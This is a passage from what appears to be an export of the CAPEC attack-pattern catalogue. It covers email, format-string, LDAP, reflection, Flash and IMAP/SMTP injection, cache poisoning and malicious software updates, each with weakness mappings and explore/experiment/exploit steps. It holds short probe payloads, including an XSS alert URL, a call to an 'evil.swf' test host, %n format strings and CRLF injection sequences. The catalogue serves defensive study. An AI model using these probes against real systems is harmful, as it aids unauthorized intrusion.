    Use automated tools to scan known ports to identify applications that might be accessible
  3. Authenticate to application: Authenticate to the application, if required, in order to explore it.
  4. Techniques
    Use published credentials to access system.
    Find unpublished credentails to access service.
    Use other attack pattern or weakness to bypass authentication.

Experiment

  1. Try all common switches: Using manual or automated means, attempt to run the application with many different known common switches. Observe the output to see if any switches seemed to put the application in a non production mode that might give more information.
  2. Techniques
    Manually execute the application with switches such as --debug, --test, --development, --verbose, etc.
    Use automated tools to run the application with common switches and observe the output

Exploit

  1. Use sensitive processing or configuration information: Once extra information is observed from an application through the use of a common switch, this information is used to aid other attacks on the application
  2. Techniques
    Using application information, formulate an attack on the application
None
  • The attacker must be able to control the options or switches sent to the target.
  • None: No specialized resources are required to execute this type of attack. The only requirement is the ability to send requests to the target.
Draft Medium 3.9
113
Email Injection Standard An adversary manipulates the headers and content of an email message by injecting data via the use of delimiter characters native to the protocol. Many applications allow users to send email messages by filling in fields. For example, a web site may have a link to "share this site with a friend" where the user provides the recipient's email address and the web application fills out all the other fields, such as the subject and body. In this pattern, an adversary adds header and body information to an email message by injecting additional content in an input field used to construct a header of the mail message. This attack takes advantage of the fact that RFC 822 requires that headers in a mail message be separated by a carriage return. As a result, an adversary can inject new headers or content simply by adding a delimiting carriage return and then supplying the new heading and body information. This attack will not work if the user can only supply the message body since a carriage return in the body is treated as a normal character. 2014-06-23 02:00:00 Capec: CAPEC-134
Cwe: CWE-150
Wasc: 30
2022-02-22 01:00:00 2.1 Software
None None
  • The target application must allow the user to send email to some recipient, to specify the content at least one header field in the message, and must fail to sanitize against the injection of command separators.
  • The adversary must have the ability to access the target mail application.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
41
137
Format String Injection Standard An adversary includes formatting characters in a string input field on the target application. Most applications assume that users will provide static text and may respond unpredictably to the presence of formatting character. For example, in certain functions of the C programming languages such as printf, the formatting character %s will print the contents of a memory location expecting this location to identify a string and the formatting character %n prints the number of DWORD written in the memory. An adversary can use this to read or write to memory locations or files, or simply to manipulate the value of the resulting text in unexpected ways. Reading or writing memory may result in program crashes and writing memory could result in the execution of arbitrary code if the adversary can write to the program stack. 2014-06-23 02:00:00 Capec: CAPEC-135
Cwe: CWE-134
Cwe: CWE-20
Cwe: CWE-74
Owasp Attacks: Format string attack
Reference_from_capec: REF-14
Reference_from_capec: REF-15
Reference_from_capec: REF-616
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Software
  1. Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a "../po" directory, which can be leveraged to conduct format string attacks. See also: CVE-2007-2027

Explore

  1. Survey application: The adversary takes an inventory of the entry points of the application.
  2. Techniques
    Spider web sites for all available links
    List parameters, external variables, configuration files variables, etc. that are possibly used by the application.

Experiment

  1. Determine user-controllable input susceptible to format string injection: Determine the user-controllable input susceptible to format string injection. For each user-controllable input that the adversary suspects is vulnerable to format string injection, attempt to inject formatting characters such as %n, %s, etc.. The goal is to manipulate the string creation using these formatting characters.
  2. Techniques
    Inject probe payload which contains formatting characters (%s, %d, %n, etc.) through input parameters.

Exploit

  1. Try to exploit the Format String Injection vulnerability: After determining that a given input is vulnerable to format string injection, hypothesize what the underlying usage looks like and the associated constraints.
  2. Techniques
    Insert various formatting characters to read or write the memory, e.g. overwrite return address, etc.
High
  • The target application must accept a strings as user input, fail to sanitize string formatting characters in the user input, and process this string using functions that interpret string formatting characters.
  • None: No specialized resources are required to execute this type of attack.
High: In order to discover format string vulnerabilities it takes only low skill, however, converting this discovery into a working exploit requires advanced knowledge on the part of the adversary. Draft High 3.9
67
137
LDAP Injection Standard An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value. 2014-06-23 02:00:00 Capec: CAPEC-136
Cwe: CWE-77
Cwe: CWE-90
Cwe: CWE-20
Wasc: 29
Owasp Attacks: LDAP Injection
Reference_from_capec: REF-17
Reference_from_capec: REF-608
2020-12-17 01:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. PowerDNS before 2.9.18, when running with an LDAP backend, does not properly escape LDAP queries, which allows remote attackers to cause a denial of service (failure to answer ldap questions) and possibly conduct an LDAP injection attack. See also: CVE-2005-2301

Explore

  1. Survey application: The attacker takes an inventory of the entry points of the application.
  2. Techniques
    Spider web sites for all available links
    Sniff network communications with application using a utility such as WireShark.

Experiment

  1. Determine user-controllable input susceptible to LDAP injection: For each user-controllable input that the attacker suspects is vulnerable to LDAP injection, attempt to inject characters that have special meaning in LDAP (such as a single quote character, etc.). The goal is to create a LDAP query with an invalid syntax
  2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.
    Use modified client (modified by reverse engineering) to inject input.
  3. Try to exploit the LDAP injection vulnerability: After determining that a given input is vulnerable to LDAP Injection, hypothesize what the underlying query looks like. Possibly using a tool, iteratively try to add logic to the query to extract information from the LDAP, or to modify or delete information in the LDAP.
  4. Techniques
    Add logic to the LDAP query to change the meaning of that command. Automated tools could be used to generate the LDAP injection strings.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.
High
  • The target application must accept a string as user input, fail to sanitize characters that have a special meaning in LDAP queries in the user input, and insert the user-supplied string in an LDAP query which is then processed.
Medium: The attacker needs to have knowledge of LDAP, especially its query syntax. Draft High 3.9
248
Reflection Injection Standard An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application. 2014-06-23 02:00:00 Capec: CAPEC-138
Cwe: CWE-470
2023-01-24 01:00:00 2.1 Software
None None
  • The target application must utilize reflection libraries and allow users to directly control the parameters to these methods. If the adversary can host classes where the target can invoke them, more powerful variants of this attack are possible.
  • The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed.
  • None: No specialized resources are required to execute this type of attack.
Draft Very High 3.9
137
Bypassing of Intermediate Forms in Multiple-Form Sets Standard Some web applications require users to submit information through an ordered sequence of web forms. This is often done if there is a very large amount of information being collected or if information on earlier forms is used to pre- populate fields or determine which additional information the application needs to collect. An attacker who knows the names of the various forms in the sequence may be able to explicitly type in the name of a later form and navigate to it without first going through the previous forms. This can result in incomplete collection of information, incorrect assumptions about the information submitted by the attacker, or other problems that can impair the functioning of the application. 2014-06-23 02:00:00 Capec: CAPEC-140
Cwe: CWE-372
2020-07-30 02:00:00 2.1 Software
None None
  • The target must collect information from the user in a series of forms where each form has its own URL that the attacker can anticipate and the application must fail to detect attempts to access intermediate forms without first filling out the previous forms.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
74
Cache Poisoning Standard An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value. 2014-06-23 02:00:00 Capec: CAPEC-141
Cwe: CWE-348
Cwe: CWE-345
Cwe: CWE-349
Cwe: CWE-346
Attack: T1557.002
Owasp Attacks: Cache Poisoning
Reference_from_capec: REF-22
Reference_from_capec: REF-23
Reference_from_capec: REF-24
Reference_from_capec: REF-599
2022-09-29 02:00:00 2.1 Software
  1. In this example, an attacker sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7. Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the attacker floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.

Explore

  1. Identify and explore caches: Use tools to sniff traffic and scan a network in order to locate application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache) that may have vulnerabilities. Look for poisoning point in cache table entries.
  2. Techniques
    Run tools that check available entries in the cache.

Experiment

  1. Cause specific data to be cached: An attacker sends bogus request to the target, and then floods responses that trick a cache to remember malicious responses, which are wrong answers of queries.
  2. Techniques
    Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).

Exploit

  1. Redirect users to malicious website: As the attacker succeeds in exploiting the vulnerability, they are able to manipulate and interpose malicious response data to targeted victim queries.
  2. Techniques
    Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).
    Adversary-in-the-Middle attacks (CAPEC-94) intercept secure communication between two parties.
High
  • The attacker must be able to modify the value stored in a cache to match a desired value.
  • The targeted application must not be able to detect the illicit modification of the cache and must trust the cache value in its calculations.
Medium: To overwrite/modify targeted cache Draft High 3.9
142
161
Collect Data from Common Resource Locations Standard An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks. 2014-06-23 02:00:00 Capec: CAPEC-150
Cwe: CWE-552
Cwe: CWE-1239
Cwe: CWE-1258
Cwe: CWE-1266
Cwe: CWE-1272
Cwe: CWE-1323
Cwe: CWE-1330
Attack: T1003
Attack: T1119
Attack: T1213
Attack: T1530
Attack: T1555
Attack: T1602
2023-01-24 01:00:00 2.1 Software
Physical Security
Hardware
  1. An adversary can use a technique called Bluesnarfing to retrieve data from Bluetooth enabled devices in which they know where the data is located. This is done by connecting to the device’s Object Exchange (OBEX) Push Profile and making OBEX GET requests for known filenames (contact lists, photos, recent calls). Bluesnarfing was patched shortly after its discovery in 2003 and will only work on devices created before or during this time.
None None
  • The targeted applications must either expect files to be located at a specific location or, if the location of the files can be configured by the user, the user either failed to move the files from the default location or placed them in a conventional location for files of the given type.
  • None: No specialized resources are required to execute this type of attack. In some cases, the attacker need not even have direct access to the locations on the target computer where the targeted resources reside.
Draft Medium 3.9
116
Sniffing Attacks Standard In this attack pattern, the adversary intercepts information transmitted between two third parties. The adversary must be able to observe, read, and/or hear the communication traffic, but not necessarily block the communication or change its content. Any transmission medium can theoretically be sniffed if the adversary can examine the contents between the sender and recipient. Sniffing Attacks are similar to Adversary-In-The-Middle attacks (CAPEC-94), but are entirely passive. AiTM attacks are predominantly active and often alter the content of the communications themselves. 2014-06-23 02:00:00 Capec: CAPEC-157
Cwe: CWE-311
2022-02-22 01:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software

Explore

  1. Determine Communication Mechanism: The adversary determines the nature and mechanism of communication between two components, looking for opportunities to exploit.
  2. Techniques
    Look for application documentation that might describe a communication mechanism used by a target.

Experiment

  1. Position In Between Targets: The adversary positions themselves somewhere in the middle of the two components. If the communication is encrypted, the adversary will need to act as a proxy and route traffic between the components, exploiting a flaw in the encryption mechanism. Otherwise, the adversary can just observe the communication at either end.
  2. Techniques
    Use Wireshark or some other packet capturing tool to capture traffic on a network.
    Install spyware on a client that will intercept outgoing packets and route them to their destination as well as route incoming packets back to the client.
    Exploit a weakness in an encrypted communication mechanism to gain access to traffic. Look for outdated mechanisms such as SSL.

Exploit

  1. Listen to Communication: The adversary observes communication, but does not alter or block it. The adversary gains access to sensitive information and can potentially utilize this information in a malicious way.
None
  • The target data stream must be transmitted on a medium to which the adversary has access.
  • The adversary must be able to intercept the transmissions containing the data of interest. Depending on the medium of transmission and the path the data takes between the sender and recipient, the adversary may require special equipment and/or require that this equipment be placed in specific locations (e.g., a network sniffing tool)
Draft Medium 3.9
117
Redirect Access to Libraries Standard An adversary exploits a weakness in the way an application searches for external libraries to manipulate the execution flow to point to an adversary supplied library or code base. This pattern of attack allows the adversary to compromise the application or server via the execution of unauthorized code. An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. If an adversary can redirect an application's attempts to access these libraries to other libraries that the adversary supplies, the adversary will be able to force the targeted application to execute arbitrary code. This is especially dangerous if the targeted application has enhanced privileges. Access can be redirected through a number of techniques, including the use of symbolic links, search path modification, and relative path manipulation. 2014-06-23 02:00:00 Capec: CAPEC-159
Cwe: CWE-706
Attack: T1574.008
Reference_from_capec: REF-29
Reference_from_capec: REF-30
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Software
  1. In this example, the attacker using ELF infection that redirects the Procedure Linkage Table (PLT) of an executable allowing redirection to be resident outside of the infected executable. The algorithm at the entry point code is as follows... • mark the text segment writeable • save the PLT(GOT) entry • replace the PLT(GOT) entry with the address of the new lib call The algorithm in the new library call is as follows... • do the payload of the new lib call • restore the original PLT(GOT) entry • call the lib call • save the PLT(GOT) entry again (if its changed) • replace the PLT(GOT) entry with the address of the new lib call

Explore

  1. Identify Target: The adversary identifies the target application and determines what libraries are being used.
  2. Techniques
    Find public source code and identify library dependencies.
    Gain access to the system hosting the application and look for libraries in common locations.

Experiment

  1. Deploy Malicious Libraries: The adversary crafts malicious libraries and deploys them on the system where the application is running, or in a remote location that can be loaded by the application.

Exploit

  1. Redirect Library Calls to Malicious Library: Once the malicious library crafted by the adversary is deployed, the adversary will manipulate the flow of the application such that it calls the malicious library. This can be done in a variety of ways based on how the application is loading and calling libraries.
  2. Techniques
    Poison the DNS cache of the system so that it loads a malicious library from a remote location hosted by the adversary instead of the legitimate location
    Create a symlink that tricks the application into thinking that a malicious library is the legitimate library.
    Use DLL side-loading to place a malicious verison of a DLL in the windows directory.
High
  • The target must utilize external libraries and must fail to verify the integrity of these libraries before using them.
Low: To modify the entries in the configuration file pointing to malicious libraries High: To reverse engineering the libraries and inject malicious code into the libraries Medium: To force symlink and timing issues for redirecting access to libraries Stable Very High 3.9
154
Exploit Script-Based APIs Standard Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support 2014-06-23 02:00:00 Capec: CAPEC-160
Cwe: CWE-346
2021-10-21 02:00:00 2.1 Software

Explore

  1. Identify API: Discover an API of interest by exploring application documentation or observing responses to API calls
  2. Techniques
    Search via internet for known, published APIs that support scripting instructions as arguments

Experiment

  1. Test simple script: Adversaries will attempt to give a smaller script as input to the API, such as simply printing to the console, to see if the attack is viable.
  2. Techniques
    Create a general script to be taken as input by the API

Exploit

  1. Give malicious scripting instructions to API: Adversaries will now craft custom scripts to do malicious behavior. Depending on the setup of the application this script could be run with user or admin level priveleges.
  2. Techniques
    Crafting a malicious script to be run on a system based on priveleges and capabilities of the system
None
  • The target application must include the use of APIs that execute scripts.
  • The target application must allow the attacker to provide some or all of the arguments to one of these script interpretation methods and must fail to adequately filter these arguments for dangerous or unwanted script commands.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
113
Force the System to Reset Values Standard An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions. Since these functions are usually intended as emergency features to return an application to a stable configuration if the current configuration degrades functionality, they may not be as strongly secured as other configuration options. The resetting of values is dangerous as it may enable undesired functionality, disable services, or modify access controls. At the very least this is a nuisance attack since the administrator will need to re-apply their configuration. At worst, this attack can open avenues for powerful attacks against the application, and, if it isn't obvious that the configuration has been reset, these vulnerabilities may be present a long time before they are notices. 2014-06-23 02:00:00 Capec: CAPEC-166
Cwe: CWE-306
Cwe: CWE-1221
Cwe: CWE-1232
2022-02-22 01:00:00 2.1 Software
Hardware
None None
  • The targeted application must have a reset function that returns the configuration of the application to an earlier state.
  • The reset functionality must be inadequately protected against use.
  • None: No specialized resources are required to execute this type of attack. In some cases, the attacker may need special client applications in order to execute the reset functionality.
Draft Medium 3.9
161
White Box Reverse Engineering Standard An attacker discovers the structure, function, and composition of a type of computer software through white box analysis techniques. White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution. 2014-06-23 02:00:00 Capec: CAPEC-167
Cwe: CWE-1323
2023-01-24 01:00:00 2.1 Software
Physical Security
Hardware
None None
  • Direct access to the object or software.
  • Reverse engineering of software requires varying tools and methods that enable the decompiling of executable or other compiled objects.
Draft Medium 3.9
188
Calling Micro-Services Directly Standard An attacker is able to discover and query Micro-services at a web location and thereby expose the Micro-services to further exploitation by gathering information about their implementation and function. Micro-services in web pages allow portions of a page to connect to the server and update content without needing to cause the entire page to update. This allows user activity to change portions of the page more quickly without causing disruptions elsewhere. However, these micro-services may not be subject to the same level of security review as other forms of content. For example, a micro-service that posts requests to a server that are turned into SQL queries may not adequately protect against SQL-injection attacks. As a result, micro-services may provide another vector for a range of attacks. It should be emphasized that the presence of micro-services does not necessarily make a site vulnerable to attack, but they do provide additional complexity to a web page and therefore may contain vulnerabilities that support other attack patterns. 2014-06-23 02:00:00 Capec: CAPEC-179
2022-02-22 01:00:00 2.1 Software
None None
  • The target site must use micro-services that interact with the server and one or more of these micro-services must be vulnerable to some other attack pattern.
  • The attacker usually needs to be able to invoke micro-services directly in order to control the parameters that are used in their attack. The attacker may require other resources depending on the nature of the flaw in the targeted micro-service.
Draft Medium 3.9
554
Exploiting Incorrectly Configured Access Control Security Levels Standard An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack. Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, "Accessing Functionality Not Properly Constrained by ACLs" in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured. 2014-06-23 02:00:00 Capec: CAPEC-180
Cwe: CWE-732
Cwe: CWE-1190
Cwe: CWE-1191
Cwe: CWE-1193
Cwe: CWE-1220
Cwe: CWE-1268
Cwe: CWE-1280
Cwe: CWE-1297
Cwe: CWE-1311
Cwe: CWE-1315
Cwe: CWE-1318
Cwe: CWE-1320
Cwe: CWE-1321
Attack: T1574.010
Reference_from_capec: REF-29
Reference_from_capec: REF-30
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Software
Hardware
  1. For example, an incorrectly configured Web server, may allow unauthorized access to it, thus threaten the security of the Web application.

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user.
  2. Techniques
    Spider the web site for all available links.
    Brute force to guess all function names/action with different privileges.

Experiment

  1. Identify weak points in access control configurations: The attacker probes the access control for functions and data identified in the Explore phase to identify potential weaknesses in how the access controls are configured.
  2. Techniques
    The attacker attempts authenticated access to targeted functions and data.
    The attacker attempts unauthenticated access to targeted functions and data.
    The attacker attempts indirect and side channel access to targeted functions and data.

Exploit

  1. Access the function or data bypassing the access control: The attacker executes the function or accesses the data identified in the Explore phase bypassing the access control.
  2. Techniques
    The attacker executes the function or accesses the data not authorized to them.
High
  • The target must apply access controls, but incorrectly configure them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity..
  • None: No specialized resources are required to execute this type of attack.
Low: In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly. Draft Medium 3.9
122
Flash Injection Standard An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker. 2014-06-23 02:00:00 Capec: CAPEC-182
Cwe: CWE-20
Cwe: CWE-184
Cwe: CWE-697
Reference_from_capec: REF-46
Reference_from_capec: REF-47
Reference_from_capec: REF-48
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Other (Information Leakage)
  • Read Data
Non-Repudiation:
  • Gain Privileges
Social Engineering
Software
  1. In the following example, the SWF file contains getURL('javascript:SomeFunc("someValue")','','GET') A request like http://example.com/noundef.swf?a=0:0;alert('XSS') becomes javascript:SomeFunc("someValue")?a=0:0;alert(123)

Explore

  1. Find Injection Entry Points: The attacker first takes an inventory of the entry points of the application.
  2. Techniques
    Spider the website for all available URLs that reference a Flash application.
    List all uninitialized global variables (such as _root.*, _global.*, _level0.*) in ActionScript, registered global variables in included files, load variables to external movies.

Experiment

  1. Determine the application's susceptibility to Flash injection: Determine the application's susceptibility to Flash injection. For each URL identified in the explore phase, the attacker attempts to use various techniques such as direct load asfunction, controlled evil page/host, Flash HTML injection, and DOM injection to determine whether the application is susceptible to Flash injection.
  2. Techniques
    Test the page using direct load asfunction, getURL,javascript:gotRoot("")///d.jpg
    Test the page using controlled evil page/host, http://example.com/evil.swf
    Test the page using Flash HTML injection, "'>
    Test the page using DOM injection, (gotRoot(''))

Exploit

  1. Inject malicious content into target: Inject malicious content into target utilizing vulnerable injection vectors identified in the Experiment phase
High
  • The target must be capable of running Flash applications. In some cases, the victim must follow an attacker-supplied link.
  • None: No specialized resources are required to execute this type of attack. The attacker may need to be able to serve the injected Flash content.
Medium: The attacker needs to have knowledge of Flash, especially how to insert content the executes commands. Draft Medium 3.9
137
IMAP/SMTP Command Injection Standard An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back- end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands. 2014-06-23 02:00:00 Capec: CAPEC-183
Cwe: CWE-77
Reference_from_capec: REF-49
2022-02-22 01:00:00 2.1 Software

Explore

  1. Identify Target Web-Mail Server: The adversary first identifies the web-mail server they wish to exploit.

Experiment

  1. Identify Vulnerable Parameters: Once the adversary has identified a web-mail server, they identify any vulnerable parameters by altering their values in requests. The adversary knows that the parameter is vulnerable if the web-mail server returns an error of any sort. Ideally, the adversary is looking for a descriptive error message.
  2. Techniques
    Assign a null value to a parameter being used by the web-mail server and observe the response.
    Assign a random value to a parameter being used by the web-mail server and observe the response.
    Add additional values to a parameter being used by the web-mail server and observe the response.
    Add non standard special characters (i.e.: \, ', ", @, #, !, |) to a parameter being used by the web-mail server and observe the response.
    Eliminate a parameter being used by the web-mail server and observe the response.
  3. Determine Level of Injection: After identifying all vulnerable parameters, the adversary determines what level of injection is possible.
  4. Techniques
    Evaluate error messages to determine what IMAP/SMTP command is being executed for the vulnerable parameter. Sometimes the actually query will be placed in the error message.
    If there aren't descriptive error messages, the adversary will analyze the affected functionality to deduce the possible commands that could be being used by the mail-server.

Exploit

  1. Inject IMAP/SMTP Commands: The adversary manipulates the vulnerable parameters to inject an IMAP/SMTP command and execute it on the mail-server.
  2. Techniques
    Structure the injection as a header, body, and footer. The header contains the ending of the expected message, the body contains the injection of the new command, and the footer contains the beginning of the expected command.
    Each part of the injection payload needs to be terminated with the CRLF (%0d%0a) sequence.
None
  • The target environment must consist of a web-mail server that the attacker can query and a back-end mail server. The back-end mail server need not be directly accessible to the attacker.
  • The web-mail server must fail to adequately sanitize fields received from users and passed on to the back-end mail server.
  • The back-end mail server must not be adequately secured against receiving malicious commands from the web-mail server.
  • None: No specialized resources are required to execute this type of attack. However, in most cases, the attacker will need to be a recognized user of the web-mail server.
Draft Medium 3.9
248
Malicious Software Download Standard An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack. 2014-06-23 02:00:00 Capec: CAPEC-185
Cwe: CWE-494
2022-09-29 02:00:00 2.1 Software
None None Draft Very High 3.9
184
Malicious Software Update Standard An adversary uses deceptive methods to cause a user or an automated process to download and install dangerous code believed to be a valid update that originates from an adversary controlled source. Although there are several variations to this strategy of attack, the attack methods are united in that all rely on the ability of an adversary to position and disguise malicious content such that it masquerades as a legitimate software update which is then processed by a program, undermining application integrity. As such the attack employs 'spoofing' techniques augmented by psychological or technological mechanisms to disguise the update and/or its source. Virtually all software requires frequent updates or patches, giving the adversary immense latitude when structuring the attack, as well as many targets of opportunity. Automated attacks involving malicious software updates require little to no user-directed activity and are therefore advantageous because they avoid the complex preliminary setup stages of manual attacks, which must effectively 'hook' users while avoiding countermeasures such as spam filters or web security filters. 2014-06-23 02:00:00 Capec: CAPEC-186
Cwe: CWE-494
Attack: T1195.002
Reference_from_capec: REF-697
2022-09-29 02:00:00 2.1 Availability:
  • Execute Unauthorized Commands (Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.)
Access Control:
  • Execute Unauthorized Commands (Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.)
Confidentiality:
  • Execute Unauthorized Commands (Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.)
Social Engineering
Supply Chain
Software
  1. Using an automated process to download and install dangerous code was key part of the NotPeyta attack [REF-697]

Explore

  1. Identify target: The adversary must first identify what they want their target to be. Because malicious software updates can be carried out in a variety of ways, the adversary will first not only identify a target program, but also what users they wish to target. This attack can be targeted (a particular user or group of users) or untargeted (many different users).

Experiment

  1. Craft a deployment mechanism based on the target: The adversary must craft a deployment mechanism to deploy the malicious software update. This mechanism will differ based on if the attack is targeted or untargeted.
  2. Techniques
    Targeted attack: hosting what appears to be a software update, then harvesting actual email addresses for an organization, or generating commonly used email addresses, and then sending spam, phishing, or spear-phishing emails to the organization's users requesting that they manually download and install the malicious software update.
    Targeted attack: Instant Messaging virus payload, which harvests the names from a user's contact list and sends instant messages to those users to download and apply the update
    Untargeted attack: Spam the malicious update to as many users as possible through unsolicited email, instant messages, or social media messages.
    Untargeted attack: Send phishing emails to as many users as possible and pretend to be a legitimate source suggesting to download an important software update.
    Untargeted attack: Use trojans/botnets to aid in either of the two untargeted attacks.

Exploit

  1. Deploy malicious software update: Using the deployment mechanism from the previous step, the adversary gets a user to install the malicious software update.
None
  • Manual or user-assisted attacks require deceptive mechanisms to trick the user into clicking a link or downloading and installing software. Automated update attacks require the adversary to host a payload and then trigger the installation of the payload code.
High: This attack requires advanced cyber capabilities Draft High 3.9
184
Black Box Reverse Engineering Standard An adversary discovers the structure, function, and composition of a type of computer software through black box analysis techniques. 'Black Box' methods involve interacting with the software indirectly, in the absence of direct access to the executable object. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs. Black Box Reverse Engineering also refers to gathering physical side effects of a hardware device, such as electromagnetic radiation or sounds. 2014-06-23 02:00:00 Capec: CAPEC-189
Cwe: CWE-203
Cwe: CWE-1255
Cwe: CWE-1300
2022-02-22 01:00:00 2.1 Software
Physical Security
Hardware
None None
  • Black box methods require (at minimum) the ability to interact with the functional boundaries where the software communicates with a larger processing environment, such as inter-process communication on a host operating system, or via networking protocols.
Draft Low 3.9
188
